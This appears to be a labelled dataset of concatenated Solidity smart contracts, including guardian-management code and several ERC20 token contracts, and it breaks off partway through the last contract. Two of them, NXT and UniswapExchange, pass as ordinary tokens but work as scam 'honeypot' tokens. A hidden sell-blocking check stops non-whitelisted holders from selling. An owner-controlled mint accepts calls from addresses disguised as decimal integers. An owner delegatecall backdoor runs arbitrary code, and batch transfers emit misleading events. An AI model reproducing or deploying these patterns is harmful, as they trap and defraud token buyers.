bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "revokation"));
GuardianManagerConfig storage config = configs[_wallet];
require(
config.pending[id] == 0 || block.timestamp > config.pending[id] + securityWindow,
"GM: revokation of target as guardian is already pending");
config.pending[id] = block.timestamp + securityPeriod;
emit GuardianRevokationRequested(_wallet, _guardian, block.timestamp + securityPeriod);
}
function confirmGuardianRevokation(address _wallet, address _guardian) external {
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "revokation"));
GuardianManagerConfig storage config = configs[_wallet];
require(config.pending[id] > 0, "GM: no pending guardian revokation for target");
require(config.pending[id] < block.timestamp, "GM: Too early to confirm guardian revokation");
require(block.timestamp < config.pending[id] + securityWindow, "GM: Too late to confirm guardian revokation");
doRevokeGuardian(_wallet, _guardian);
emit GuardianRevoked(_wallet, _guardian);
delete config.pending[id];
}
function cancelGuardianRevokation(address _wallet, address _guardian) external onlyWalletOwnerOrFeature(_wallet) onlyWhenUnlocked(_wallet) {
bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "revokation"));
GuardianManagerConfig storage config = configs[_wallet];
require(config.pending[id] > 0, "GM: no pending guardian revokation for target");
delete config.pending[id];
emit GuardianRevokationCancelled(_wallet, _guardian);
}
function isGuardian(address _wallet, address _guardian) public view returns (bool _isGuardian) {
_isGuardian = guardianStorage.isGuardian(_wallet, _guardian);
}
function isGuardianOrGuardianSigner(address _wallet, address _guardian) external view returns (bool _isGuardian) {
(_isGuardian, ) = GuardianUtils.isGuardianOrGuardianSigner(guardianStorage.getGuardians(_wallet), _guardian);
}
function guardianCount(address _wallet) external view returns (uint256 _count) {
return guardianStorage.guardianCount(_wallet);
}
function getGuardians(address _wallet) external view returns (address[] memory _guardians) {
return guardianStorage.getGuardians(_wallet);
}
function getRequiredSignatures(address _wallet, bytes calldata _data) external view override returns (uint256, OwnerSignature) {
bytes4 methodId = Utils.functionPrefix(_data);
if (methodId == CONFIRM_ADDITION_PREFIX || methodId == CONFIRM_REVOKATION_PREFIX) {
return (0, OwnerSignature.Anyone);
} else {
return (1, OwnerSignature.Required);
}
}
function doAddGuardian(address _wallet, address _guardian) internal {
versionManager.invokeStorage(
_wallet,
address(guardianStorage),
abi.encodeWithSelector(guardianStorage.addGuardian.selector, _wallet, _guardian)
);
}
function doRevokeGuardian(address _wallet, address _guardian) internal {
versionManager.invokeStorage(
_wallet,
address(guardianStorage),
abi.encodeWithSelector(guardianStorage.revokeGuardian.selector, _wallet, _guardian)
);
}
} | 0 | 1,164 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 4;
uint8 public constant TOKEN_DECIMALS_UINT8 = 4;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "IZIChain";
string public constant TOKEN_SYMBOL = "IZI";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x61cce7ffbfd929628020470070382fe3de3d7f1a;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x61cce7ffbfd929628020470070382fe3de3d7f1a)];
uint[1] memory amounts = [uint(12500000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 2,753 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract NXT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,270 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract EPay is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function EPay() public {
symbol = "EPAY";
name = "EPay";
decimals = 18;
_totalSupply = 98000000000000000000000000;
balances[0x8286CB48cACCC1781C3c1875c85e0d9130eD6152] = _totalSupply;
Transfer(address(0), 0x8286CB48cACCC1781C3c1875c85e0d9130eD6152, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,941 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
